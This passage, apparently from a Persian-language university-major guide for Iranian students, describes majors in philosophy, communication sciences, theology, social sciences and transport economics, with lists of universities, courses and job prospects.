    دانشجویان طی دوره کارشناسی علاوه بر آشنایی با مباحث بنیادی و اساسی در زمینه های مختلف علوم اسلامی ، بطور نسبی درباره حقوق اسلامی و عرفی به کسب دانش و تخصص می پردازند بگونه ای که در پایان این دوره زمینه لازم برای ادامه تحصیل در مقاطع کارشناسی ارشد و دکتری فقه و حقوق خصوصی و فقه و حقوق جزا در مدرسه عالی و سایر رشته های مرتبط در دیگر مراکز آموزش عالی بمنظور ادامه تحصیلات و پژوهشهای تخصصی و اجتهادی فراهم می شود و خواهند توانست در جهت تحقق اهداف مذکور در این برنامه و پیشبرد فرهنگ جامعه نقش موثری را ایفاء نمایند .

  47. مقدمه

    img/daneshnameh_up/9/96/NNN.GIF
    رشته‌ای که اسمش برای دانش‌آموز معرف اصطلاحات مشکل و غیر قابل فهم است و به اصطلاح یک رشته کاملاً استدلالی و آمیخته با منطق است. پیچیدگی‌های فلسفی گاه ساخته بشر و گاه در ذات این علم نهفته است.
    فیلسوفان معمولاً این هنر را نداشته‌اند که بتوانند این علم را به زبان آسان برای علاقمندان آن بیان کنند و آن کس که در عصر ما به خوبی از عهده این کار بر‌آمده، شهید مطهری است.
    در تعریف فلسفه گفته‌اند که فلسفه رویکرد و توجه به واقعیت‌های جهان هستی است که با عبور از واقعیات شکل می‌گیرد و دو بحث عمده وجود و شناخت همه فلسفه را پر کرده است.
    در رشته فلسفه بیشتر روی فلسفه غرب تاکید می‌شود.
    کسی که این رشته را انتخاب می‌کند باید حوصله تحقیق و بیان و حافظه قدرتمندی داشته باشد. بنابر همین اصل ضریب درس ریاضی برای دانش‌آموزان ورودی این رشته ۴ و دروس اقتصاد و فارسی ۲ و بقیه یک می‌باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- تهران *
    ۲ آزاد- میمه *
    ۳ امام خمینی قزوین *
    ۴ تبریز *
    ۵ تهران *
    ۶ صنعتی اصفهان *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و احتمالات پیش دانشگاهی ۲ اصطلاح شناسی فلسفی
    ۳ اصطلاح شناسی فلسفی به زبانهای عربی ۴ اصول حسابداری و مدیریت
    ۵ اصول حسابرسی ۶ اصول سازمان و مدیریت
    ۷ اقتصاد خرد ۱ ۸ اقتصاد کلان ۱
    ۹ انسان شناسی فلسفی ۱۰ انقلاب اسلامی و ریشه‌های ان
    ۱۱ تاریخ اسلامشناخت ادیان ۱۲ تاریخ علم
    ۱۳ تاریخ فلسفه از ارسطو تا افلاطون ۱۴ تاریخ فلسفه از بیکن تا هیوم
    ۱۵ تاریخ فلسفه از کانت تا نیمه ۲ ۱۶ تاریخ فلسفه اسلامی ۱
    ۱۷ تاریخ فلسفه اسلامی ۱ از آغاز تا ۱۸ تاریخ فلسفه اسلامی ۲ از ابن رشد
    ۱۹ تاریخ فلسفه اسلامی ۲ از بان رشد ۲۰ تاریخ فلسفه اسلامی ۲ بعد از ابن
    ۲۱ تاریخ فلسفه جدید ۲۲ تاریخ فلسفه جدید و معاصر
    ۲۳ تاریخ فلسفه قرون وسطی تا رنسانس ۲۴ تاریخ فلسفه مفاصر
    ۲۵ تاریخ فلسفه یونان ۱ تا افلاطون ۲۶ تاریخ فلسفه یونان ۲ تا افلوطین
    ۲۷ تاریخ فلسفه یونان تا افلاطون ۲۸ تاریخ فلسه از بیکن تا هیوم
    ۲۹ تربیت بدنی ۲ ۳۰ تصوف اسلامی در خارج ایران
    ۳۱ تفسیر متون فلسفی ۱ ۳۲ تفسیر متون فلسفی ۲
    ۳۳ تفکر در شرق آسیا چین و هند ۳۴ تنظیم خانواده
    ۳۵ جامعه شناسی ۱ ۳۶ جمعیت و تنظیم خانواده
    ۳۷ حقوق تجارت ۳۸ حکمت اشراق سهروردی
    ۳۹ روانشناسی ۱ ۴۰ روانشناسی ۱
    ۴۱ روانشناسی ۲ ۴۲ ریاضیات (نظری، عملی)
    ۴۳ زبان انگلیسی اختصاصی (نظری) ۴۴ زبان انگلیسی پایه ۱
    ۴۵ زبان پیش دانشگاهی ۴۶ زبان پیش دانشگاهی ۱ فارسی
    ۴۷ زبان پیش دانشگاهی ۲ ۴۸ زبان خارجه
    ۴۹ زبان خارجه اختصاصی ۱ ۵۰ زبان خارجه تخصصی ۲
    ۵۱ زبان خارجه عمومی ۱ ۵۲ زبان شناسی کاربردی و ترجمه
    ۵۳ زبان عربی ۱ ۵۴ زبان عربی ۱ صرف و نحو و قرائت
    ۵۵ زبان عربی ۲ ۵۶ زبان عمومی ۲
    ۵۷ زبان گفتاری ۵۸ زبان و متون تخصصی موزه‌داری
    ۵۹ زیباشناسی ۶۰ زیبایی شناسی و فلسفه هنر
    ۶۱ فلسفه اخلاق در تفکر غربی ۶۲ متون فلسفی به زبان عربی ۱
    ۶۳ متون فلسفی به زبان عربی

    صنعت و بازار کار

    فارغ‌التحصیلان رشته فلسفه با آشنائی به تفکر اسلامی و غرب و مکاتب و مذاهب مختلف فلسفی توانائی تحقیق و تدریس در مسائل فلسفی را پیدا می‌کنند و علاوه بر آن آماده می‌شوند تا تحصیلات خود را تا مراحل بالاتر ادامه داده، به درجات بالای علمی و استادی فلسفه نایل آیند.

  48. مقدمه
    img/daneshnameh_up/0/04/AAAAAAAA.GIF
    گرچه تعریف های عجیب و غریبی از ارتباطات شنیده ایم اما مطلب غیرقابل درکی برای شما دانش آموزان که می خواهید این رشته را انتخاب کنید نمی باشد. جوامع انسانی آنقدر وسعت پیدا نموده که زمان حاضر را عصر ارتباطات نامیده اند. با گذشت زمان وسایل ارتباطی و اطلاع رسانی گسترش و پیچیدگی بیشتری یافتند و امروزه رادیو، تلویزیون، مطبوعات و اینترنت و بسیاری دیگر از مظاهر علم و فناوری در خدمت اطلاع رسانی و ارتباط بین انسان ها هستند.
    موضوع رشته علوم ارتباطات اجتماعی ، بررسی ابعاد مختلف ارتباطات جوامع و همچنین مطالعه و تحقیق در زمینه ارتباطات و انتقال اطلاعات و تلاش در جهت بهبود سیستم های ارتباطی و اطلاعاتی موجود می باشد.
    مقطع کارشناسی این رشته در ۴ سال تدریس می شود و این رشته تا مقطع دکتری دائر است و دو گرایش روزنامه نگاری و روابط عمومی تنها گرایش های این رشته هستند.
    ضریب دروس ریاضی در این رشته ۴ و بقیه دروس ۱ می باشد. علاقه به مسائل خبری و داشتن روحیه خوب اجتماعی و داشتن صبر و حوصله از عوامل موفقیت در این رشته می باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- تهران *
    ۲ آزاد- میبد *
    ۳ آزاد-اراک *
    ۴ آزاد-جهرم *
    ۵ تبریز *
    ۶ تهران *
    ۷ علامه طباطبائی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار در علوم اجتماعی ۲ آمار مقدماتی
    ۳ ارتباط با مطبوعات ۴ ارتباطات انسانی
    ۵ ارتباطات بین المللی ۶ ارتباطات تصویری
    ۷ ارتباطات در جهان سوم ۸ ارتباطات سیاسی
    ۹ ارتباطات شفاهی ۱۰ اصول روابط عمومی
    ۱۱ اصول روزنامه نگاری ۱۲ اصول سازمان و مدیریت
    ۱۳ اصول علم اقتصاد ۱۴ اصول علم سیاست
    ۱۵ افکار عمومی و وسایل ارتباط جمعی ۱۶ اقناع و تبلیغ
    ۱۷ اندیشه های سیاسی در قرن بیستم ۱۸ تاریخ روزنامه نگاری
    ۱۹ تجزیه و تحلیل برنامه های رادیو و تلویزیون ۲۰ تکنولوژِی چاپ و نشر
    ۲۱ تکنیک های روابط عمومی ۲۲ حقوق ارتباط اجتماعی
    ۲۳ حقوق اساسی ۲۴ روابط عمومی عملی ۱
    ۲۵ روابط عمومی عملی ۲ ۲۶ روان شناسی اجتماعی
    ۲۷ روزنامه نگاری عملی ۱ ۲۸ روزنامه نگاری عملی ۲
    ۲۹ روش های تحقیق نظری و عملی ۳۰ روش های تحلیل و بررسی پیام
    ۳۱ زبان تخصصی ۱ و ۲ ۳۲ سمینار مسائل سیاسی و استراتژی معاصر
    ۳۳ شیوه های نگارش فارسی در مطبوعات ۳۴ فتوژورنالیسم
    ۳۵ گرافیک و صفحه آرایی در مطبوعات ۳۶ مبانی ارتباطات جمعی
    ۳۷ مبانی تاریخ اجتماعی ایران ۳۸ مبانی جامعه شناسی
    ۳۹ مبانی جمعیت شناسی ۴۰ مبانی روان شناسی
    ۴۱ مبانی فلسفه ۴۲ مدیریت و روابط عمومی
    ۴۳ نظریه های ارتباط اجتماعی ۴۴ نظریه های جامعه شناسی
    ۴۵ نقد و تفسیر و مقاله در مطبوعات ۴۶ ویراستاری و مدیریت اخبار
    ۴۷ کلیات حقوق

    صنعت و بازار کار

    این رشته توانایی جذب متخصصان علوم ارتباطات اجتماعی را در خبرگزاری ها، مطبوعات، رادیو، تلویزیون و فعالیت وابسته های مطبوعاتی در خارج از کشور و همچنین کار در دفاتر روابط عمومی و ارتباطات سازمانی را دارد.

  49. مقدمه

    img/daneshnameh_up/e/ef/LLLL.GIF
    رشته الهیات و معارف اسلامی داوطلبان مورد علاقه خویش را مانند دیگر رشته‌ها به سوی خود جذب می‌کند و محتوای مطالب آن به یک سلسله معلومات بنیادی و کلیدی اشاره دارد که می‌تواند نسبت به ابعاد گوناگون دین اسلام برای ایفای نقش اساسی در جامعه ، اطلاعات مفیدی را به دانشجویان بدهد.
    چون درس‌های این رشته به دو زبان فارسی و عربی تدریس می‌شود، دانش‌آموزان باید به حد کافی در دوره دبیرستان به این دو زبان آشنا باشند، علاقه و مطالعه مستمر پیرامون مسائل اسلامی و قرآنی و همچنین دانش بیان گفتاری خوب عامل مهم در انتخاب این رشته است .
    در کنکور سراسری ، ضریب دروس ادبیات فارسی و عربی ۳ و فلسفه و منطق ۲ می‌باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آزاد شهر *
    ۲ آزاد- آیت الله آملی *
    ۳ آزاد- الیگودرز *
    ۴ آزاد- ایذه *
    ۵ آزاد- بابل *
    ۶ آزاد- بناب *
    ۷ آزاد- بیرجند *
    ۸ آزاد- بیضاء *
    ۹ آزاد- تبریز *
    ۱۰ آزاد- تربت حیدریه *
    ۱۱ آزاد- تهران *
    ۱۲ آزاد- جیرفت *
    ۱۳ آزاد- خرم آباد *
    ۱۴ آزاد- دامغان *
    ۱۵ آزاد- زنجان *
    ۱۶ آزاد- سبزوار *
    ۱۷ آزاد- سمنان *
    ۱۸ آزاد- شهرری *
    ۱۹ آزاد- شهرکرد *
    ۲۰ آزاد- قم *
    ۲۱ آزاد- گچساران *
    ۲۲ آزاد- گناباد *
    ۲۳ آزاد- لاهیجان ‌ *
    ۲۴ آزاد- نوشهر و چالوس *
    ۲۵ آزاد- نی ریز *
    ۲۶ آزاد- ورامین پیشوا *
    ۲۷ آزاد- کرج *
    ۲۸ آزاد- یاسوج *
    ۲۹ آزاد-آستارا *
    ۳۰ آزاد-اراک *
    ۳۱ آزاد-اقلید *
    ۳۲ آزاد-بروجرد *
    ۳۳ آزاد-تاکستان *
    ۳۴ آزاد-همدان * ‌
    ۳۵ اراک * ‌
    ۳۶ الزهرا تهران * ‌
    ۳۷ امام خمینی قزوین *
    ۳۸ ایلام *
    ۳۹ بابلسر *
    ۴۰ بوعلی سینا همدان *
    ۴۱ تبریز *
    ۴۲ تربیت معلم سبزوار *
    ۴۳ خوارزمی *
    ۴۴ زاهدان *
    ۴۵ زنجان * ‌
    ۴۶ سمنان *
    ۴۷ شاهد تهران *
    ۴۸ شیراز *
    ۴۹ صنعتی اصفهان *
    ۵۰ قم *
    ۵۱ کاشان *
    ۵۲ یزد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با ادیان بزرگ ۲ آشنایی با کلیات علوم اسلامی
    ۳ آیات الاحکام ۱ ۴ آیات الاحکام ۲
    ۵ آیین دادرسی در اسلام ۶ احادیث فقهی
    ۷ اصول فقه ۱ ۸ اصول فقه ۲
    ۹ اصول فقه ۳ ۱۰ اعراب قرآن
    ۱۱ انگلیسی تخصصی ۱ ۱۲ تاثیر قرآن کریم در پیدایش علوم ادبی
    ۱۳ تاریخ اسلام ۱ ۱۴ تاریخ اسلام ۲
    ۱۵ تاریخ تفسیر ۱ ۱۶ تاریخ تفسیر ۲
    ۱۷ تاریخ تفسیر ۳ ۱۸ تاریخ حدیث
    ۱۹ تاریخ زبان و فرهنگ عربی ۲۰ تاریخ فرهنگ و ادب به زبان عربی
    ۲۱ تاریخ فقه و فقها ۱ ۲۲ تاریخ قرآن ۱
    ۲۳ تاریخ قرآن ۲ ۲۴ تاریخ قرآن تخصصی
    ۲۵ تجوید و آواشناسی ۲۶ تحلیل سیاسی انقلاب اسلامی
    ۲۷ ترجمه از عربی به فارسی و بالعکس ۲۸ ترجمه از عربی به فارسی
    ۲۹ ترجمه از عربی به فارسی و بالعکس ۲ ۳۰ ترجمه از عربی به فارسی
    ۳۱ ترجمه عربی به فارسی ۲ و بالعکس ۳۲ ترجمه عربی به فارسی و بالعکس ۱
    ۳۳ ترجمه عربی به فارسی و بالعکس ۲ ۳۴ ترجمه عربی به فارسی و فارسی
    ۳۵ ترجمه عربی به فارسی و فارسی به عربی ۲ ۳۶ تعلیم و تربیت در اسلام
    ۳۷ تفسیر قرآن ۳ ۳۸ تفسیر قرآن کریم ۱
    ۳۹ تفسیر قرآن کریم ۲ ۴۰ جامعه شناسی
    ۴۱ حقوق تطبیقی ۴۲ حقوق خانواده
    ۴۳ درایه الحدیث ۴۴ زبان تخصصی
    ۴۵ زبان تخصصی ۲ ۴۶ زبان تخصصی ۳
    ۴۷ زبان خارجی ۴۸ زبان فارسی
    ۴۹ علوم بلاغت ۵۰ علوم بلاغت ۱
    ۵۱ علوم بلاغی ۵۲ فارسی
    ۵۳ فقه ۱ ۵۴ فقه ۲
    ۵۵ فقه ۳ ۵۶ فقه ۴
    ۵۷ فقه ۵ ۵۸ فقه الحدیث ۱
    ۵۹ فقه مقارن ۱ ۶۰ فقه مقارن ۲
    ۶۱ فقه مقدماتی ۱ ۶۲ قرائت مطبوعات و استفاده از رادیو
    ۶۳ قواعد فقه مدنی ۶۴ مبادی اصول
    ۶۵ مبادی فقه ۶۶ متدولوژی
    ۶۷ منطق ۱ ۶۸ منطق ۲
    ۶۹ کلام ۱ ۷۰ کلام ۲
    ۷۱ کلیات حقوق

    صنعت و بازار کار
    فارغ التحصیلان این رشته می توانند منشا خدمات زیر باشند:
    تبلیغ معارف اسلامی در سطح عمومی.
    تدریس در مراکز آموزشی و فرهنگی.
    گسترش و نشر فرهنگ و معارف اسلامی در کشورهای مختلف جهان به عنوان مثال در قالب رایزنی‌های فرهنگی و وزارتخانه‌های ارشاد و خارجه.
    انجام امور تحقیقاتی و پژوهشی در زمینه مسائل فرهنگ و معارف اسلامی .
    کارشناسی فقه و مبانی حقوق اسلامی در دستگاه قضایی.

  50. مقدمه

    در سلسله مراتب مباحث دانشگاهی به ویژه در علوم اجتماعی رشته های مردم شناسی و انسان شناسی از مباحث نسبتاً جدید در یکصد سال اخیر است. انسان شناسی Anthropology در یک دید کلی، مطالعه خصوصیات انسانی است که ویژگی های جسمانی نشانه های فرهنگی، فکری و تاریخی را در بر گرفته و به مطالعه چگونگی دنیای تغییرات و دلایل تحولات زیستی در گروهها و جمعیتهای مختلف انسانی می پردازد .
    مراد از مردم شناسی Ethnology مطالعه ویژگی های فرهنگی و اجتماعی گروههای انسانی در محدوده جغرافیائی معین و در دوره تاریخی مشخص است که عناصر ویژه ای نظیر، زبان، هنر، موسیقی، آداب و سنن، ازدواج، عادات و خلقیات، خانواده، خویشاوندی، مذهب، اقتصاد، حقوق، پوشاک، فنون … را در برمی گیرد. فرهنگ Culture نیز با گسترش دامنه مطالعات و تحقیقات فرهنگی و پیشرفت تکنولوژی، دارای معنا و مفهومی وسیع و همه جانبه گردیده است، به طوری که در تعریف آن آمده است:
    فرهنگ عبارت است از مجموعه ای شامل آداب و رسوم، اعتقادات، اخلاقیات، مهارت ها و فنون، هنر و … که انسان به عنوان عضوی از جامعه آن را فرا می گیرد و در قبال آن جامعه نیز تعهداتی دارد.
    به این ترتیب مطالعه و تحقیق فرهنگها قسمت عمده ای از قلمرو مردم شناسی را در برمی گیرد. از این رو برخی از دانشمندان دانش مردم شناسی و انسان شناسی را «علم مطالعه فرهنگ ها» (اعم از مادی و غیرمادی) می دانند.
    زیبائی رشته علوم اجتماعی به ارتباطات زیبائی که بین اجتماع انسان‌ها برقرار است ، بر می‌گردد.
    انسان‌ها در کنار یکدیگر نیازهای فراوان خود را مرتفع می‌کنند و این فراوانی نیاز، پیچیدگی‌های زیادی را برای رسیدن به رفاه اجتماعی بوجود می‌آورد. مسائلی مانند مسکن، اشتغال، آموزش، بهداشت، … در رشته علوم اجتماعی پژوهش و مطالعه برای رسیدن به رفاه را بررسی می‌کند.
    علاقه به مسائل خبری و اجتماعی، داشتن روحیه جمع گرائی و داشتن بیان خوب و در پایان پایه قوی آماری از شروط موفقیّت در این رشته است.
    در کنکور سراسری ، ضریب درس ریاضی ۴ می‌باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آباده *
    ۲ آزاد- آزاد شهر *
    ۳ آزاد- آشتیان * ‌‌‌‌‌‌‌
    ۴ آزاد- ایلام *
    ۵ آزاد- بردسیر *
    ۶ آزاد- تبریز *
    ۷ آزاد- تربت جام *
    ۸ آزاد- تهران *
    ۹ آزاد- خلخال *
    ۱۰ آزاد- دامغان *
    ۱۱ آزاد- دهاقان *
    ۱۲ آزاد- رودهن *
    ۱۳ آزاد- زرند *
    ۱۴ آزاد- زنجان *
    ۱۵ آزاد- شوشتر *
    ۱۶ آزاد- شیروان *
    ۱۷ آزاد- قوچان *
    ۱۸ آزاد- گرمسار *
    ۱۹ آزاد- گناباد *
    ۲۰ آزاد- نراق *
    ۲۱ آزاد- کرمان *
    ۲۲ آزاد-اراک *
    ۲۳ آزاد-جهرم *
    ۲۴ الزهرا تهران *
    ۲۵ بابلسر *
    ۲۶ بوعلی سینا همدان *
    ۲۷ تهران *
    ۲۸ خوارزمی *
    ۲۹ شاهد تهران *
    ۳۰ شهیدچمران اهواز *
    ۳۱ شیراز *
    ۳۲ صنعتی اصفهان *
    ۳۳ علامه طباطبائی *
    ۳۴ یزد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار در علوم اجتماعی ۲ آمار و احتمالات مقدماتی
    ۳ ارتباطات انسانی ۴ ارتباطات بین‌المللی
    ۵ ارتباطات تصویری ۶ ارتباطات در جهان سوم
    ۷ ارتباطات سیاسی ۸ ارتباطات و توسعه
    ۹ ارتباطات و فرهنگ ۱۰ ارزیابی پروژه
    ۱۱ اصول روابط بین الملل (الف و ب) ۱۲ اصول روابط عمومی
    ۱۳ اصول روزنامه‌نگاهری ۱۴ اصول علم اقتصاد ۱
    ۱۵ اصول و فلسفه آموزش و پرورش ۱۶ اصول و فنون مشاوره و راهنمایی
    ۱۷ اصول و مبانی ارتباطات ۱۸ افکار عمومی و وسایل ارتباطات جمعی
    ۱۹ اقتصاد روستایی ۲۰ اندیشه‌های سیاسی در قرن بیستم
    ۲۱ انسان در اسلام ۲۲ انقلاب اسلامی و ریشه‌های ان
    ۲۳ باستان شناسی فرهنگی ۲۴ بررسی مسائل اجتماعی ایران
    ۲۵ بررسی و تحلیل پروژه‌های انجام شده ۲۶ برنامه ریزی منطقه و کاربرد در /ت
    ۲۷ پایان‌نامه ۲۸ پیایی گروهی ۲۹ تاریخ اسلام
    ۳۰ تاریخ تفکر اجتماعی در اسلام ۳۱ تاریخ روزنامه نگاری
    ۳۲ تجزیه و تحلیل برنامه‌های رادیو و تلویزیون ۳۳ تحلیل محتوا و گفتمان پیامها
    ۳۴ تحولات جامعه روستایی ایران ۳۵ تربیت بدنی ۲
    ۳۶ تعلیم و تربیت در اسلام ۳۷ تغیرات اجتماعی
    ۳۸ تمرین دبیری ۱ ۳۹ تمرین دبیری ۲
    ۴۰ توسعه اقتصادی ۴۱ تولید و کاربرد مواد آموزشی
    ۴۲ تکنولوژی چاپ و نشر ۴۳ تکنولوژی های جدید ارتباطی
    ۴۴ جامعه شناسی ۴۵ جامعه شناسی آموزش و پرورش
    ۴۶ جامعه شناسی انقلاب ۴۷ جامعه شناسی ایلات عشایر ایران
    ۴۸ جامعه شناسی جهانی شدن ۴۹ جامعه شناسی خانوادگی
    ۵۰ جامعه شناسی روستایی ۵۱ جامعه شناسی سینما
    ۵۲ جامعه شناسی شهری ۵۳ جامعه شناسی قشرها و نابرابریها
    ۵۴ جامعه شناسی هنر ۵۵ جغرافیای انسانی ایران
    ۵۶ جهانی شدن ارتباطات ۵۷ حقوق ارتباطات
    ۵۸ حقوق اساسی ۵۹ حقوق تجارت
    ۶۰ راسانه ها و گروهای اجتماعی ۶۱ رفاه اجتماعی
    ۶۲ روانشناسی اجتماعی کاربردی روستایی ۶۳ روانشناسی تربیتی
    ۶۴ روانشناسی کودکی و نوجوانی ۶۵ روزنامه نگاری تخصصی
    ۶۶ روزنامه نگاری علمی ۲ گزارش مطبوعات ۶۷ روش بررسی و افکار عمومی
    ۶۸ روش تحقیق ۶۹ روش تحقیق پیشرفته آماری
    ۷۰ روش تحلیل جمعیت شناسی ۷۱ روش کمی ۳
    ۷۲ روشها و فنون تدریس ۷۳ روشهای بررسی و تحلیل پیامهای ارتباط
    ۷۴ روشهای پزوهش در ارتباطات جمعی ۷۵ ریاضیات پایه
    ۷۶ ریاضیات پیش دانشگاهی ۷۷ زبان انگلیسی
    ۷۸ زبان پیش دانشگاهی ۱ ۷۹ زبان پیش دانشگاهی ۲
    ۸۰ زبان تخصصی ۱ متون علوم اجتمعای ۸۱ زبان تخصصی ۲
    ۸۲ زبان تخصصی مطالعه در متونن ارتباطات ۲ ۸۳ زبان فارسی
    ۸۴ زیست شناسی عمومی ۸۵ سمینار مسائل سیاسی و استراتژی معاصر
    ۸۶ سمینار نقد فیلم ۸۷ سنجش و اندازه‌گیری
    ۸۸ سیستم‌های اطلاعاتی مدیریت ۸۹ شیوه نگارش فارسی در مطبوعات
    ۹۰ طرح تحقیق ۹۱ فارسی
    ۹۲ فتوژورنالیسم (عکاسی خبری) ۹۳ گرافیک و صفحه آرایی در مطبوعات
    ۹۴ مبانی برنامه‌ریزی آموزش متوسطه ۹۵ مبانی تاریخ اجتماعی
    ۹۶ مبانی جامعه شناسی ۱ ۹۷ مبانی جامعه شناسی ۲
    ۹۸ مبانی زبان شناسی ۹۹ مبانی فلسفه ۱
    ۱۰۰ مبانی مطالعات انتقادی در ارتباطات ۱۰۱ متون اسلامی
    ۱۰۲ مدیریت آموزشی ۱۰۳ مدیریت ارتباطات اجتماعی
    ۱۰۴ مدیریت بحرانهای ارتباطی ۱۰۵ مردم شناسی ایران
    ۱۰۶ مردم شناسی ایلات و عشایر ۱۰۷ مسائل رسانه‌ای ایران و جهان
    ۱۰۸ معارف اسلامی ۲ ۱۰۹ مقدمات ارتباطات کامپیوتری
    ۱۱۰ مقدمات جامعه‌شناسی ۱۱۱ نظامهای خویشاوندی و خانواده
    ۱۱۲ نظریه‌ها و مفاهیم ارتباطات اجتماعی ۱ ۱۱۳ نظریه‌های تغییرات اجتماعی
    ۱۱۴ نظریه‌های جامعه شناسی ۱ ۱۱۵ نظریه‌های جامعه شناسی ۲
    ۱۱۶ نقد و تفسیر و مقاله در مطبوعات ۱۱۷ ویراستاری و مدیریت اخبار
    ۱۱۸ کلیات حقوق

    صنعت و بازار کار
    با نگاهی به چند سرفصل رشته علوم اجتماعی می توانیم به اهمیت و بازار کار آن نگاهی تازه داشته باشیم جامعه شناسی انقلاب، جامعه شناسی قشرها و نابرابریهای اجتماعی، جامعه شناسی در ادبیات فارسی، جامعه شناسی پزشکی ، جامعه شناسی سیاسی، جامعه شناسی کار، جامعه شناسی آموزش و پرورش، جامعه شناسی جهان سوم، مردم شناسی ایران، جغرافیای انسانی ایران، جامعه شناسی ایلات و عشایر، روانشناسی اجتماعی، اصول علم سیاست ، مبانی جمعیت شناسی.
    رشته علوم اجتماعی بخشی از زیربنای بسیاری از برنامه ریزی های کشوری برای افراد هر جامعه است در واقع نهادهای سیاست گذار، نهادهای فرهنگی، اجتماعی، شهرداری ها، فرهنگ سراها، انجمن های خصوصی و دولتی، وزارتخانه های ارشاد، آموزش و پرورش، اقتصاد و دارایی، گمرک و بازار بورس، سازمان بهزیستی، کمیته امداد، مرکز آمار، وزارت ارتباطات و فناوری اطلاعات، وزارت کشور، وزارت بهداشت و به نحوی بسیار دیگری از مراکز باید به کارشناسان خبره این رشته مراجعه و به عنوان یکی از عوامل مهم در تصمیم گیری های خرد و کلان لحاظ نمایند.

  51. مقدمه

    رشته علوم اقتصادی مجموعه دانشهای مربوط به اقتصاد را مورد بحث و بررسی قرار می دهد . این مجموعه که حاصل سلسله ای از اندیشه ها و تفکرات است تا محور قرار دادن بررسی منابع کمیاب و تلاش برای استفاده بهینه از منابع محدود طبیعی و همچنین نیروی کار انسانی در پی آنست تا با چینش دقیق اجزاء و عناصر گوناگون اقتصادی در کنار یکدیگر از منابع کمیاب یاد شده به گونه ای استفاده نماید که بیشترین میزان ممکن از خواسته های انسانی تامین گردد . بدین سبب گرایش های مختلفی در رشته علوم اقتصادی به وجود آمده است که یکی از آنها گرایش اقتصاد حمل و نقل می باشد . هدف از تاسیس چنین گرایشی آشنا نمودن دانشجویان با مفاهیم و ویژگیهای اقتصادی حمل و نقل ، روشهای حمل و نقل سنتی و مدرن ، انتخاب وسیله ارزیابی خدمات حمل و نقل ، ارزشیابی طرحها و پروژه های حمل و نقل و مواردی دیگر از این نوع و بررسی نظریه های گوناگون ارائه شده در زمینه ارتباطی حمل و نقل و توسعه اقتصادی است . در این گرایش همچنین نکات ویژه ای در خصوص حمل و نقل زمینی ، دریایی ، هوایی ، خطوط و لوله های نفتی مورد بررسی قرار می گیرد .
    حمل و نقل از دو بخش تشکیل شده یکی زیر ساختارهای حمل و نقل و دیگری وسایل حمل و نقل . برای استفاده بهینه از این سیستم حمل و نقل این رشته در دانشگاه آزاد برگزار می گردد تا امکان تربیت نیروی انسانی ماهر و متخصص مورد نیاز کشور در حد کارشناسی فراهم کند . توسعه حمل و نقل همانطور که همگان اطلاع دارند ، به طور روز افزون از دانش و تکنولوژی بالایی برخوردار است پس بنابراین در ایران هم ، امروز می بایستی همراه با این افزایش دانش و تکنولوژی یعنی فنون جدید حمل و نقل نیروهای ماهر و متخصصی تربیت کنیم تا بتوانیم این سیستم حمل و نقل را چه از نظر زیر ساختارهای حمل و نقل ، چه از نظر وسائط حمل و نقل بصورت بهینه مورد استفاده قرار دهند .

    رابطه علم اقتصاد با سایر علوم :

    بر اساس همین دیدگاهها ، علم اقتصاد با سایر علوم و به خصوص علوم پایه هم آمیختگی شدیدی پیدا کرده ، یکی از بارزترین رشته هایی که اخیرا در این رشته مورد استفاده قرار می گیرد ریاضیات و آمار است و توصیه می کنیم دانش جویان دوره دبیرستانی که دارای زمینه قوی ریاضی و آمار نیستند ادامه این رشته را در دوره کارشناسی و کار شناسی ارشد باید منتفی کنند و بر عکس دانشجویانی که در دوران دبیرستان از رشته آمار و ریاضی قوی تر بر خوردارند مطمئنا می توانند در دوره های بسیار بسیار بالاتری در این رشته موفق شوند . البته متاسفانه اخیرا در چارچوب آموزش و پرورش دانش آموزانی را به سمت این رشته هدایت می کنند که از ریاضیات ضعیف تری بر خوردارند . و به همین دلیل دانشجویانی که در دوره دبیرستان از رشته اقتصاد فارغ التحصیل می شوند در دوره کارشناسی و کارشناسی ارشد دچار مشکلات بسیار شدیدی خواهند شد بنابراین ما توصیه می کنیم که دانشجویانی که می خواهند ادامه تحصیل دهند به خصوص در رشته اقتصاد باید از آمار و ریاضی نسبتا قوی تری برخوردار باشند . در مفهوم عامیانه می گویند اقتصاد علم پول است اما مطمئنا فقط علم پول نیست . و ما باید امکان استفاده از اطلاعات آماری را به گونه ای داشته باشیم که بتوانیم مشکلات آینده را هم پیش بینی کنیم.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- تهران مرکزی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با برنامه نویسی و بسته های کامپیوتری ۲ آمار ۱
    ۳ آمار ۲ ۴ ارزیابی طرحهای اقتصادی
    ۵ اصول بازاریابی ۶ اصول بیمه
    ۷ اصول حسابداری ۱ ۸ اصول حسابداری۲
    ۹ اصول سازمان و مدیریت ۱۰ اقتصاد ایران
    ۱۱ اقتصاد بخشی عمومی ۱ ۱۲ اقتصاد توسعه
    ۱۳ اقتصاد حمل و نقل ۱ ۱۴ اقتصاد حمل و نقل ۲
    ۱۵ اقتصاد خرد ۱ ۱۶ اقتصاد خرد ۲
    ۱۷ اقتصاد شهری ۱۸ اقتصاد منطقه‌ای
    ۱۹ اقتصاد کلان ۱ ۲۰ اقتصاد کلان ۲
    ۲۱ برنامه ریزی اقتصادی ۲۲ برنامه ریزی حمل و نقل
    ۲۳ بیمه حمل و نقل ۲۴ پژوهش عملیاتی
    ۲۵ پول و بانکداری ۲۶ تجارت بین الملل
    ۲۷ تحقیقات بازاریابی ۲۸ جغرافیای حمل و نقل
    ۲۹ حسابداری شرکتها ۳۰ حسابداری صنعتی ۱
    ۳۱ حقوق تجارت ۳۲ حقوق حمل و نقل
    ۳۳ روش تحقیق ۳۴ ریاضیات ۱
    ۳۵ ریاضیات ۲ ۳۶ زبان ۳
    ۳۷ زبان خارجی ۲ ۳۸ زبان خارجی ۳
